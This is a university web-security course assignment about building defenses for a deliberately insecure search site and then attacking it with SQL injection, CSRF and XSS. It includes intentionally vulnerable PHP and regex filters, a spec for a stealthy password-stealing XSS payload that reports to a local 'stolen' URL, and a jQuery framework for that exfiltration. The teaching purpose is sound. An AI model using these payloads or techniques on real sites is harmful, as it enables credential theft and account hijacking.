

## Project 2: Web Security Pitfalls

This project is split into two parts, with the first checkpoint due on **Wednesday, February 24 at 6:00pm** and the second checkpoint due on **Monday, March 7 at 6:00pm**. The first checkpoint is worth 2% of your total grade, and the second checkpoint is worth 10%. We strongly recommend that you get started early. Each semester everyone will be given ONE late extension that allows you to turn in up to one checkpoint assignment up to 24 hours after the due date. Extensions are not automatic. So, if you want to use your late extension, you **MUST** send an e-mail to **ece422-staff@illinois.edu** BEFORE the due date. Late work will not be accepted after 24 hours past the due date.

This is a group project; you **SHOULD** work in **teams of two** and if you are in teams of two, you **MUST** submit one project per team. Please find a partner as soon as possible. If have trouble forming a team, post to Piazza's partner search forum.

The code and other answers your group submits must be entirely your own work, and you are bound by the Student Code. You **MAY** consult with other students about the conceptualization of the project and the meaning of the questions, but you **MUST NOT** look at any part of someone else's solution or collaborate with anyone outside your group. You may consult published references, provided that you appropriately cite them (e.g., with program comments), as you would in an academic paper.

Solutions **MUST** be submitted electronically in any one of the group member's svn directory, following the submission checklist given at the end of each checkpoint. Details on the filename and submission guideline is listed at the end of the document.

---

*"I am regularly asked what the average Internet user can do to ensure his security. My first answer is usually 'Nothing; you're screwed!'."*

– Bruce Schneier

# Introduction

In the first checkpoint of this project, you are provided with a code skeleton of a simple web application. You are asked to complete tasks which include writing a SQL query script which constructs database, completing prepared statements, writing input filters and implementing token validation mechanism. In second checkpoint of this project, we provide an insecure version of this website, and your job is to attack it by exploiting three common classes of vulnerabilities: cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. You are also asked to exploit these problems with various flawed defenses in place. Understanding how these attacks work will help you better defend your own web applications.

## Objectives:

- Learn to spot common vulnerabilities in websites and to avoid them in your own projects.
- Understand the risks these problems pose and the weaknesses of naive defenses.
- Gain experience with web architecture and with Python's Bottle Framework, HTML, JavaScript, and SQL programming.

## Guidelines

- You **SHOULD** work in a group of 2.
- You **MUST** use Python, HTML, Javascript, and SQL to complete the project. You **SHOULD** use jQuery to complete the project.
- Your answers may or may not be the same as your classmates'.
- All the necessary files to start the project will given under the folder called "mp2" in your SVN directory. We've also generated some empty files for you to submit your answers in. You **MUST** submit your answers in the provided files; we will only grade what's there!

## Read this First

This project asks you to develop attacks and test them, with our permission, against a target website that we are providing for this purpose. Attempting the same kinds of attacks against other websites without authorization is prohibited by law and university policies and may result in *fines, expulsion, and jail time*. **You must not attack any website without authorization!** Per the course ethics policy, you are required to respect the privacy and property rights of others at all times, *or else you will fail the course*. See the "Ethics, Law, and University Policies" section on the course website.

## General Guidelines

You **SHOULD** develop this project targeting Firefox 44, the latest version of Firefox, which you can download from <https://firefox.com>. Many browsers include different client-side defenses against XSS and CSRF that will interfere with your testing.

For your convenience during manual testing, we have included drop-down menus at the top of each page that let you change the CSRF and XSS defenses that are in use. The solutions you submit must override these selections by including the `csrfdefense=n` or `xssdefense=n` parameter in the target URL, as specified in each task below. You **MUST NOT** attempt to subvert the mechanism for changing the level of defense in your attacks.

In all parts, you should implement the simplest attack you can think of that defeats the given set of defenses. In other words, do not simply attack the highest level of defense and submit that attack as your solution for all defenses. Also, you do not need to try to combine the vulnerabilities, except where explicitly stated below.

## Resources

The Firefox Web Developer tools will be a tremendous help for this project, particular the JavaScript console and debugger, DOM inspector, and network monitor. The developer tools can be found under Tools > Web Developer in Firefox. See <https://developer.mozilla.org/en-US/docs/Tools>.

Although general purpose tools are permitted, you **MUST NOT** use tools that are designed to automatically test for vulnerabilities.

Your solutions will involve manipulating SQL statements and writing web code using HTML, JavaScript, and the jQuery library. Feel free to search the web for answers to basic how-to questions. There are many fine online resources for learning these tools. Here are a few that we recommend:

Bottle Framework Tutorial:

<http://bottlepy.org/docs/dev/tutorial.html>

SQL Tutorial:

<http://www.w3schools.com/sql/>

SQL Statement Syntax:

<http://dev.mysql.com/doc/refman/5.5/en/sql-syntax.html>

MySQLdb API:

<http://mysql-python.sourceforge.net/MySQLdb-1.2.2/>

MySQL Connection/Python Developer Guide:

<http://dev.mysql.com/doc/connector-python/en/>

Introduction to HTML:

<https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction>

HTTP Made Really Easy:

<http://www.jmarshall.com/easy/http/>

JavaScript 101:

<http://learn.jquery.com/javascript-101/>

Using jQuery Core:

<http://learn.jquery.com/using-jquery-core/>

jQuery API Reference:

<http://api.jquery.com>

To learn more about SQL Injection, XSS, and CSRF attacks, and for tips on exploiting them, see:

[https://www.owasp.org/index.php/SQL\\_Injection\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet)

[https://www.owasp.org/index.php/Cross-Site\\_Request\\_Forgery\\_\(CSRF\)\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)

[https://www.owasp.org/index.php/XSS\\_\(Cross\\_Site\\_Scripting\)\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)

[https://www.owasp.org/index.php/XSS\\_Filter\\_Evasion\\_Cheat\\_Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)

## Target Website

A startup named **BUNGLE!** is about to launch its first product—a web search engine—but their investors are nervous about security problems. Unlike the Bunglers who developed the site, you took CS 461/ECE 422, so the investors have hired you to perform a security evaluation before it goes live.

**BUNGLE!** is available for you to test at <http://bungle.cs461.cs.illinois.edu>.

The site is written in Python using the Bottle web framework. Although Bottle has built-in mechanisms that help guard against some common vulnerabilities, the Bunglers have circumvented or ignored these mechanisms in several places.

In addition to providing search results, the site accepts logins and tracks users' search histories. It stores usernames, passwords, and search history in a MySQL database.

Before being granted access to the source code, you reverse engineered the site and determined that it replies to five main URLs: `/`, `/search`, `/login`, `/logout`, and `/create`. The function of these URLs is explained below, but if you want an additional challenge, you can skip the rest of this section and do the reverse engineering yourself.

**Main page (`/`)** The main page accepts GET requests and displays a search form. When submitted, this form issues a GET request to `/search`, sending the search string as the parameter “q”.

If no user is logged in, the main page also displays a form that gives the user the option of logging in or creating an account. The form issues POST requests to `/login` and `/create`.

**Search results (`/search`)** The search results page accepts GET requests and prints the search string, supplied in the “q” query parameter, along with the search results. If the user is logged in, the page also displays the user's recent search history in a sidebar.

Note: Since actual search is not relevant to this project, you might not receive any results.

**Login handler (`/login`)** The login handler accepts POST requests and takes plaintext “username” and “password” query parameters. It checks the user database to see if a user with those credentials exists. If so, it sets a login cookie and redirects the browser to the main page. The cookie tracks which user is logged in; manipulating or forging it is **not** part of this project.

**Logout handler (`/logout`)** The logout handler accepts POST requests. It deletes the login cookie, if set, and redirects the browser to the main page.

**Create account handler (`/create`)** The create account handler accepts POST requests and receives plaintext “username” and “password” query parameters. It inserts the username and password into the database of users, unless a user with that username already exists. It then logs the user in and redirects the browser to the main page.

Note: The password is neither sent nor stored securely; however, none of the attacks you implement should depend on this behavior. You should choose a password that other groups will not guess, but never use an important password to test an insecure site!

## 2.1 Checkpoint 1 (20 points)

Before you examine **BUNGLE!** written by Bunglers, you will implement some parts of **BUNGLE!** in this checkpoint so that you understand its functionalities, security mechanisms and potential vulnerabilities. You will use Python (Bottle Framework and MySQLdb) and SQL for this checkpoint.

### 2.1.1 Bungle Setup (0 point)

This section will guide you to setup **BUNGLE!** in your machine environment. All setup instructions in this section is based on **Ubuntu** 14.04 LTS, but you may use any OS to complete this assignment.

Note: All commands during this setup procedure may require a sudo privilege.

#### 2.1.1.1 Updating your Machine

Before you begin setup, you **SHOULD** update your machine. To update your machine in Ubuntu, use the command below.

```
apt-get update
```

#### 2.1.1.2 MySQL Setup

**BUNGLE!** uses **MySQL** database to store user information. To install MySQL on Ubuntu, use the following command.

```
apt-get install mysql-server
```

After the install is complete, you will be asked to input password for root user. After you have successfully installed MySQL, install Python's **MySQLdb** using command below.

```
apt-get install python-mysqldb
```

#### 2.1.1.3 Bottle Setup

There are several different ways to install **Bottle**, but in this instruction you will install Bottle with **pip**. Following chain of commands will download install pip and Bottle on your machine.

```
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
pip install bottle
```

#### 2.1.1.4 Starting a Local Server

The code skeleton for **BUNGLE!** is available at your subversion directory. After checkout, you can start a local server with following commands and connect to `http://127.0.0.1:8080/`. You need **Python 2.7** to run this code.

```
cd bungle  
python project2.py
```

Most parts of Bungle are not functional yet, since you have not implemented them. In following sections, you will implement each part of **BUNGLE!**.

## 2.1.2 SQL (5 points)

### 2.1.2.1 Database and User Creation

In this section, you will write a script which will be consisted of SQL queries. Running this script will construct a database for **BUNGLE!**. Before you begin writing this script, you **MUST** create database and user of this database. Following are requirements for **BUNGLE!**'s database and its user.

- The name of the database is **project2**.
- The name of user is your **NETID** (If you work in a pair, the NETID should be that of subversion directory for submission). The password of this user is specified in a file named **dbrw.secret**.
- User **NETID** **MUST** only have **insert**, **update** and **select** privileges to tables of **project2** database.

### 2.1.2.2 SQL Script Writing Exercise

After you have created the database and a user associated to it, you should write SQL queries in 2.1.2.txt with requirements shown below.

Note: All columns for both tables **MUST NOT** allow **null**.

- Create a **table** named **users**. This table will store **BUNGLE!** users' account information. This table includes columns which are listed below.
  - id**: Values are stored as type **int** and need to be **auto\_incremented**. This column should also be the **primary key** for table **users**. This column stores an unique identification integer for each user.
  - username**: Values are stored as **varchar(32)**. This column should be an **unique index** since duplicate usernames **MUST NOT** be allowed.
  - password**: Values are stored as **varchar(32)**.
  - passwordhash**: Values are stored as **blob(16)**.
- Create a **table** named **history** which stores each user's search history. This table includes columns which are listed below.
  - id**: Values are stored as type **int** and needs to be **auto\_incremented**. This column should also be the **primary key** for table **history**. This column stores an unique identification integer for each search history.
  - user\_id**: Values of this column should be stored as an **int** and this column should be an **index**. This column represents id number of user who wrote the query.
  - query**: Values are stored as a **varchar(2048)**. This column stores user's query input.

After you write the script which creates two tables, you can run the script on MySQL console by root user with the command shown below.



source 2.1.2.txt

## Files

1. `dbw.secret`: a hexadecimal string which is the password of NETID for **BUNGLE!**'s database
2. `2.1.2.txt`: an empty `.txt` file which you will write SQL queries on

### 2.1.3 Prepared Statements (5 points)

In this section, you will implement MySQLdb API on **BUNGLE!** so that user inputs are processed and stored in MySQL database via SQL queries. For each function, write a prepared statement using `cur.execute()` so that when SQL queries are processed, **BUNGLE!** can distinguish what is data and what is code. For more information regarding module `cursors` and function `execute()`, please refer to MySQLdb API from Resources page.

## Files

1. `database.py`: a python code skeleton for **BUNGLE!**'s SQL query processing

### 2.1.4 Input Sanitation (5 points)

Prepared statement protects **BUNGLE!** against SQL injections, but this mechanism does not filter any input which can be interpreted as HTML code. Thus, **BUNGLE!** is currently vulnerable against XSS attacks.

In this section, you will implement **BUNGLE!**'s input sanitation filters against XSS attacks. There are multiple possible filters you can implement to protect your application against XSS, but for this exercise we will encode `<` and `>`, which are characters used for HTML tags. In provided code skeleton, only "no defense" filter is implemented as class `XSSNone`. You will implement class `XSSEncodedAngles` which filters and encodes input `<` and `>` to `&lt;` and `&gt;` respectively. Once you have completed implementing this filter you can test this filter at `http://127.0.0.1:8080/?xssdefense=1&csrfdefense=0`.

## Files

1. `defenses.py`: a python code skeleton for **BUNGLE!**'s defense mechanisms

### 2.1.5 Token Validation (5 points)

Finally, you will implement token validation mechanism, a protection against CSRF. **BUNGLER!** server sets a cookie named `csrf_token` to a random hexadecimal 16-byte value and also include this value as a hidden field in the login form. When the form is submitted, the server verifies that the client's cookie matches the value in the form. In `defenses.py`, you will implement this mechanism in a class named `CSRFToken`. The pseudo-code of this mechanism is shown below.

```
token ← request's cookie "csrf_token"
if token is None
    token ← a random 16 byte hexadecimal string
endif
token → response's cookie "csrf_token"
return token
```

- `init` receives two parameters, `request` and `response`.
- `request` object represents a request from user, and `response` represents a response from server.
- Both objects contain a cookie named `csrf_token` as its private variable.
- You can retrieve this cookie from `request` using a getter function `get_cookie("csrf_token")`. If the user does not have that cookie, then this function will return `none`. Otherwise, it will return a 16-byte value which was generated earlier.
- Likewise, you can set cookie for `response` to value using a setter function `set_cookie("csrf_token", value)`.

After you have implemented this mechanism, you can test this implementation at <http://127.0.0.1:8080/?xssdefense=0&csrfdefense=1>.

#### Files

1. `defenses.py`: a python code skeleton for **BUNGLER!**'s defense mechanisms

## Checkpoint 1: Submission Checklist

Inside your mp2 directory svn, you will have the auto-generated files named as below. Make sure that your answers for all tasks up to this point are submitted in the following files before **Wednesday, February 24 at 6:00pm**:

### SVN Directory

<https://subversion.ews.illinois.edu/svn/sp16-ece422/NETID/mp2>

### Team Members

partners.txt : a text file containing netIDs of both members, one netid per line. Place the student's netID, whose directory contain your project submission, at the top of the file. You **MUST** have this text file remain BLANK for subversion directory which does not contain your solution.

#### example content of partners.txt

```
netid1
netid2
```

### Solution Format

#### example content of 2.1.2.txt

```
SQL QUERY 1
SQL QUERY 2
...
```

## **List of solution files that must be submitted for checkpoint 1**

- `partners.txt`
- `2.1.2.txt`
- `bungle/database.py`
- `bungle/defenses.py`

## 2.2 Checkpoint 2 (100 points)

In this checkpoint, you will identify and exploit vulnerabilities against **BUNGLE!** written by Bunglers.

### 2.2.1 SQL Injection (30 points)

In this section, your goal is to demonstrate SQL injection attacks that log you in as an arbitrary user without knowing the password. Your job is to find SQL injection vulnerability for two targets. In order to protect other students' accounts, we've made a series of separate login forms for you to attack that aren't part of the main **BUNGLE!** site. For each of the following defenses, provide inputs to the target login form that successfully log you in as the user "victim".

#### 2.2.1.1 No defenses

This target does not have any protection against SQL injection.

Target: <http://bungle.cs461.cs.illinois.edu/sqlinject0/>

#### 2.2.1.2 Simple escaping

The server escapes single quotes (') in the inputs by replacing them with two single quotes.

Target: <http://bungle.cs461.cs.illinois.edu/sqlinject1/>

#### 2.2.1.3 Escaping and Hashing

The server uses the following PHP code, which escapes the username and applies the MD5 hash function to the password.

```
if (isset($_POST['username']) and isset($_POST['password'])) {
    $username = mysql_real_escape_string($_POST['username']);
    $password = md5($_POST['password'], true);
    $sql_s = "SELECT * FROM users WHERE username='$username' and pw='$password'";
    $rs = mysql_query($sql_s);
    if (mysql_num_rows($rs) > 0) {
        echo "Login successful!";
    } else {
        echo "Incorrect username or password";
    }
}
```

This is more difficult than the previous two defenses. You will need to write a program to produce a working exploit. You can use any language you like, but we recommend C. You need to submit source code of this program and the .txt file which has a solution displayed on the webpage.

Target: <http://bungle.cs461.cs.illinois.edu/sqlinject2/>

#### **2.2.1.4 The SQL**

Note: This target does not work properly with Illinoisnet wireless connection.

This target uses a different database. Your job is to use SQL injection to retrieve:

1. The name of the database
2. The version of the SQL server
3. All of the names of the tables in the database
4. Your secret string hidden in the database

Target: `http://bungle.cs461.cs.illinois.edu/sqliinject3/`

The text file you submit should end with a list of the URLs for all the queries you made to learn the answers. Please refer to example solution format in Checkpoint 2 Submission Checklist.

#### **What to submit**

1. After you successfully logged in to target `http://bungle.cs461.cs.illinois.edu/sqliinject0/`, copy the value you obtained from the website to 2.2.1.1.txt.
2. After you successfully logged in to target `http://bungle.cs461.cs.illinois.edu/sqliinject1/`, copy the value you obtained from the website to 2.2.1.2.txt.
3. After you successfully logged in to target `http://bungle.cs461.cs.illinois.edu/sqliinject2/`, copy the value you obtained from the website to 2.2.1.3.txt.
4. 2.2.1.3.tar.gz: Submission for 2.2.1.3 which consists of a source code for 2.2.1.3.
5. 2.2.1.4.txt: Submission for 2.2.1.4.

## 2.2.2 Cross-site Request Forgery (CSRF) (20 points)

### 2.2.2.1 No Defenses

Your next task is to demonstrate CSRF vulnerabilities against the login form, and **BUNGLE!** has provided two variations of their implementation for you to test. Your goal is to construct attacks that surreptitiously cause the victim to log in to an account you control, thus allowing you to monitor the victim's search queries by viewing the search history for this account. For each of the defenses below, create an HTML file that, when opened by a victim, logs their browser into **BUNGLE!** under the account "attacker" and password "133th4x".

Target: `http://bungle.cs461.cs.illinois.edu/login?csrfdefense=0&xssdefense=5`

### 2.2.2.2 Token validation

For this target, the server uses token validation mechanism which you have implemented in 2.1.5. The server sets a cookie named `csrf_token` to a random 16-byte value and also include this value as a hidden field in the login form. When the form is submitted, the server verifies that the client's cookie matches the value in the form. You are allowed to exploit the XSS vulnerability to accomplish your goal.

Note: Your solution **MUST NOT** make infinite POST requests.

Target: `http://bungle.cs461.cs.illinois.edu/login?csrfdefense=1&xssdefense=0`

### What to submit

1. 2.2.2.1.html: Submission for 2.2.2.1.
2. 2.2.2.2.html: Submission for 2.2.2.2.

Your solutions should not display evidence of an attack; the browser should just display a blank page. (If the victim later visits Bungle, it will say "logged in as attacker", but that's fine for purposes of the project. After all, most users won't immediately notice.)

The HTML files you submit must be self-contained, but they may embed CSS and JavaScript. Your files may also load jQuery from the URL `http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js`. Make sure you test your solutions by opening them as local files in Firefox 44. We will use this setup for grading.

Note: Since you're sharing the attacker account with other students, we've hardcoded it so the search history won't actually update. You can test with a different account you create to see the history change.

## 2.2.3 Cross Site Scripting (XSS) (50 points)

### Attacking Bungle

Your final goal is to demonstrate XSS attacks against the **BUNGLE!** search box, which does not properly filter search terms before echoing them to the results page. For each of the defenses below, your goal is to construct a URL that, if loaded in the victim's browser, correctly executes the payload specified below. We recommend that you begin by testing with a simple payload (e.g., `alert(0);`), then move on to the full payload. Note that you should be able to implement the payload once, then use different means of encoding it to bypass the different defenses.

### Payload

The payload (the code that the attack tries to execute) will be an extended form of spying and password theft. After the victim visits the URL you create, all functions of the **BUNGLE!** site should be under control of your code and should report what the user is doing to a server you control, until the user leaves the site. Your payload needs to accomplish these goals:

#### Stealth:

- Display all pages correctly, with no significant evidence of attack. (Minor text formatting glitches are acceptable.)
- Display normal URLs in the browser's location bar, with no evidence of attack. (Hint: Learn about the HTML5 History API.)
- Hide evidence of attack in the **BUNGLE!** search history view, as long as your code is running.

#### Persistence:

- Continue the attack if the user navigates to another page on the site by following a link or submitting a form, including by logging in or logging out. (Your code does **not** have to continue working if the user's actions trigger an error that isn't the fault of your code.)
- Continue the attack if the user navigates to another **BUNGLE!** page by using the browser's back or forward buttons.

#### Spying:

- Report all login and logout events by loading the URLs:  
`http://127.0.0.1:31337/stolen?event=login&user=<username>&pass=<password>`  
`http://127.0.0.1:31337/stolen?event=logout&user=<username>`  
You can test receiving this data on your local machine by using Netcat: `$ nc -l 31337`
- Report each page that is displayed (what the user thinks they're seeing) by loading the URL:  
`http://127.0.0.1:31337/stolen?event=nav&user=<username>&url=<encoded_url>`  
(`<username>` should be omitted if no user is logged in.)



## Defenses

There are five levels of defense. In each case, you SHOULD submit the simplest attack you can find that works against that defense; you SHOULD NOT simply attack the highest level and submit your solution for that level for every level. Try to use a different technique for each defense. The Python code that implements each defense is shown below, along with the target URL.

### 2.2.3.1 Warm up

To get you comfortable with the concept of XSS, we setup a dummy website for you to work with. The website accept a single GET parameter name that is vulnerable to XSS attack. Your goal is to change the "Click me" link to redirect the victim to <http://www.ece.illinois.edu/>.

Target: <http://bungle.cs461.cs.illinois.edu/multivac/>

### 2.2.3.2 No defenses

Target: <http://bungle.cs461.cs.illinois.edu/search?xssdefense=0>

Also submit a human readable version of the code you use to generate your URL for 2.2.3.2, as a file named 2.2.3.2\_payload.html.

### 2.2.3.3 Remove “script”

```
filtered = re.sub(r"(?i)script", "", input)
```

Target: <http://bungle.cs461.cs.illinois.edu/search?xssdefense=1>

### 2.2.3.4 Recursively removing “script”

A function shown below filters the user input.

```
def filter(input):
    original = input
    filtered = re.sub(r"(?i)script", "", input)
    while original != filtered:
        original = filtered
        filtered = re.sub(r"(?i)script", "", original)
    return filtered
```

Target: <http://bungle.cs461.cs.illinois.edu/search?xssdefense=2>

### 2.2.3.5 Recursively Removing several tags

Likewise, a function filter(input) filters the user input.

```
def filter(input):
    original = input
    filtered = re.sub(r"(?i)script|<img|<body|<style|<meta|<embed|<object"
                    "", input)

    while original != filtered:
        original = filtered
        filtered = re.sub(r"(?i)script|<img|<body|<style|<meta|<embed|<object"
                        "", original)

    return filtered
```

Target: <http://bungle.cs461.cs.illinois.edu/search?xssdefense=3>

### 2.2.3.6 Remove some punctuation

```
filtered = re.sub(r"[;'\"]", "", input)
```

Target: <http://bungle.cs461.cs.illinois.edu/search?xssdefense=4>

### What to submit

1. Submission the URL for 2.2.3.1 to 2.2.3.1.txt.
2. Submit the URL for 2.2.3.2 to 2.2.3.2.txt and the payload for creating the URL to 2.2.3.2\_payload.html.
3. Submit the URL for 2.2.3.3 in 2.2.3.3.txt.
4. Submit the URL for 2.2.3.4 in 2.2.3.4.txt.
5. Submit the URL for 2.2.3.5 in 2.2.3.5.txt.
6. Submit the URL for 2.2.3.6 in 2.2.3.6.txt.

Your submission for each level of defense will be a text file with the specified filename that contains a single line consisting of a URL. When this URL is loaded in a victim's browser, it should execute the specified payload against the specified target. The payload encoded in your URLs must be self-contained, but they may embed CSS and JavaScript. Your payload may also load jQuery from the URL <http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js>. Make sure you test your solutions in Firefox 44, the browser we will use for grading.

## Framework Code

You may build your XSS attacks by extending the following framework if you wish.

```
<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>

// Extend this function:
function payload(attacker) {
    function log(data) {
        console.log($.param(data))
        $.get(attacker, data);
    }
    function proxy(href) {
        $("html").load(href, function(){
            $("html").show();
            log({event: "nav", uri: href});
            $("#query").val("pwned!");
        });
    }
    $("html").hide();
    proxy("./");
}

function makeLink(xssdefense, target, attacker) {
    if (xssdefense == 0) {
        return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
            encodeURIComponent("<script" + ">" + payload.toString() +
                ";payload(\"" + attacker + "\");</script" + ">");
    } else {
        // Implement code to defeat XSS defenses here.
    }
}

var xssdefense = 0;
var target = "http://bungle.cs461.cs.illinois.edu/";
var attacker = "http://127.0.0.1:31337/stolen";

$(function() {
    var url = makeLink(xssdefense, target, attacker);
    $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});

</script>
<h3></h3>
```

## Checkpoint 2: Submission Checklist

Inside your mp2 directory svn, you will have the auto-generated files named as below. Make sure that your answers for all tasks up to this point are submitted in the following files before **Monday, March 7 at 6:00pm**:

### SVN Directory

<https://subversion.ews.illinois.edu/svn/sp16-ece422/NETID/mp2>

### Team Members

partners.txt : a text file containing netIDs of both members, one netid per line. Place the student's netID, whose directory contain your project submission, at the top of the file. You **MUST** have this text file remain BLANK for subversion directory which does not contain your solution.

#### example content of partners.txt

```
netid1
netid2
```

#### example content of 2.2.1.1.txt, 2.2.1.2.txt and 2.2.1.3.txt

```
username=victim&password=PASSWORD
```

#### example content of 2.2.1.4.txt

```
DB_NAME
DB_VERSION
TABLE_NAME_1, TABLE_NAME_2, TABLE_NAME_3
A_SECRET_STRING

URL_FOR_PROBLEM_1
URL_FOR_PROBLEM_2
URL_FOR_PROBLEM_3
URL_FOR_PROBLEM_4
```

#### example content of .txt files for 2.2.3

```
URL_TO_FAKE_BUNGL
```

## **List of solution files that must be submitted for checkpoint 2**

- `partners.txt`
- `2.2.1.1.txt`
- `2.2.1.2.txt`
- `2.2.1.3.txt`
- `2.2.1.3.tar.gz`
- `2.2.1.4.txt`
- `2.2.2.1.html`
- `2.2.2.2.html`
- `2.2.3.1.txt`
- `2.2.3.2.txt`
- `2.2.3.2_payload.html`
- `2.2.3.3.txt`
- `2.2.3.4.txt`
- `2.2.3.5.txt`
- `2.2.3.6.txt`